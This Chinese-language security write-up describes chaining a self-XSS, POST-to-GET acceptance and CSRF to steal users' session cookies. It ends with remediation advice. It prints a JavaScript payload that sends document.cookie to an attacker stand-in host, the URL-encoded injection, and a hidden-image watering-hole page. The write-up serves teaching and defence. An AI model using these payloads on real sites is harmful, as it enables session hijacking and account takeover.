背景介绍

首先介绍背景条件,我发现一个网站的用户资料页面上有一个持久性XSS漏洞。然而只能是用户修改自己的用户名,针对自己触发XSS。其它用户都不能遇到这个XSS攻击。

看起来难以利用,对不对?我们一般都会这样想,通常认为它只是一个风险,有时候会修复它,但是一般都不会,毕竟无法利用它。

要是能有一个利用办法就好了——幸运的是,这个网站还有两个漏洞,我可以构造一个POC来利用session。

POST转为GET

第一个漏洞是,网站允许将一个POST verb的HTTP请求使用GET verb发送。作为演示,一个POST请求在HTTP请求的body中被发送,比如:

POST /user-config HTTP/1.1

Host: dodgy.evilsite.co.uk

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Cookie: SESSION=abcdef123

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 244firstname=dave&username=tautology 

但是,GET请求是在HTTP请求的URL中发送的,比如:

 GET /user-config?firstname=dave&username=tautology HTTP/1.1

Host: dodgy.evilsite.co.uk

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Cookie: SESSION=abcdef123

Connection: close 

这意味着,如果我们能欺骗服务器使之接受一个GET请求,我们就可以构造一个能够点击执行的URL,比如构造上面的例子:

http://dodgy.evilsite.co.uk/user-config?firstname=dave&username=tautology

这恰好将我们引向了另外一个漏洞

跨站请求伪造CSRF

跨站请求伪造(CSRF或者XSRF),最基本的是使用URL和一个已建立的会话,以你的身份替你做一些事情。

让我再更清楚得解释一下。因为HTTP被设计为无状态,比如,每个请求都被认为是一个独立的请求,为了使一个会话能被记住,使用了session cookie,它会在每次请求中传递。

这个方案中,浏览器会替你做所有复杂的工作,如果我有了dodgy.evilsite.co.uk的cookie,浏览器会给发往这个网站的所有请求附带cookie。

这意味着如果我能加入代码,以我构造的URL访问visit dodgy.evilsite.co.uk,就会在他们的权限下执行一些任务。

让对方点击一个URL是简单的,只需要一点社会工程学,这可以通过发送email链接,或者用户常去的论坛链接完成。最简单的实现方式是搭建自己的web服务器,也就是被称作建立“水坑”的战术。

有一个重要的东西挡在我们前面:浏览器的同源策略。这个策略使得如果我们使用复杂的调用,比如 XMLHttpRequest,只能请求相同的域名,或者跨域资源共享(CORS)策略允许的域名。

我们没有目标服务器的CORS策略,所以我们不得不使用稍微低级的技术,比如以image的方式加载页面。<img>HTML标签的一个很好的特性是,它不关注返回的数据是什么,并且浏览器也会忽略它不能理解的内容。

不足之处是我们只能使用GET方法。

结合起来

现在,我们满足下面的条件:

1、可以在客户端的session中执行定制的JavaScript

2、我们能用CSRF漏洞向服务器发送一个定制的GET请求

3、我们可以把POST请求转为GET请求

这些是漏洞利用成功的所有条件。首先要做的事情是创建一个在客户端的session里执行的JavaScript。最好的方法是使用XMLHttpRequest创建一个HTTP请求,带上会话的cookie发往我们控制的服务器。如下:

x=new XMLHttpRequest();x.open(‘GET’,’https://www.evilsite.co.uk/’+document.cookie,false);x.send();

我们需要在用户不知情的情况下进行攻击,所以我们把它放到XSS漏洞利用代码中。

https://dodgy.evilsite.co.uk/user-config?form-firstname=Dave%27+%2F%3E%3Cscript%3Ex=new XMLHttpRequest();x.open(‘GET’,’https://www.evilsite.co.uk/’%2bdocument.cookie,false);x.send();</script><div id=’

末尾的 <div id=’是为了保证在XSS攻击后掩盖剩下的HTML,这样就不会留下任何可疑的痕迹。

我们将会把它放到一个水坑网站上,作为一个image来加载,只需要用再增加一些基本的内容就可以将之放进去。

因此,我们的第一个任务是创建一个简单的没有漏洞利用代码的web页面。为此,我借用了xkcd(http://www.xkcd.com/565/)的漫画,因为这个页面处于知识共享署名许可协议(creative commons attribution licence)的许可之下,我可以使用它。

下面是我的网站:

<html><p>Whilst you’re reading this cartoon, I’m compromising your account.</p>

<img src=”security_question.png” />

 

<img style=”visibility: hidden” src=”https://dodgy.evilsite.co.uk/user-config

/?form-firstname=Dave%27+%2F%3E%3Cscript%3Ex=new XMLHttpRequest();x.open(‘GET’,’

https://www.evilsite.co.uk/’%2bdocument.cookie,false);x.send();</script><div id='” />

 

</html> 

关键是那个我设为隐藏的<img>标签

XSSCSRF1.png

这样,我想办法让对方访问这个网站,网站会访问我嵌入的URL,这个URL会执行XSS攻击,这样当下次用户访问页面时(这也可以通过社会工程学实现),用户就会被攻击,他们的session信息会发送到我的账户。

XSSCSRF2-1.png

(图像经过处理了,但是你可以了解其思想)

结论

我展示了,通过一点努力(也包括一些社会工程学)可以让一个传统方式下无法利用的漏洞在使用其它的漏洞之后被利用。

如何修复它?有下面几步:

1、确保检查了所有的不可信数据,不管它将显示在哪儿以及显示给谁。

2、在关键的表单上使用CSRF token,比如密码改变,最大限度降低CSRF的风险。

3、只通过POST HTTP方法接收重要的表单。

4、适当的安全教育,让人们知道不要随便点击可疑的链接。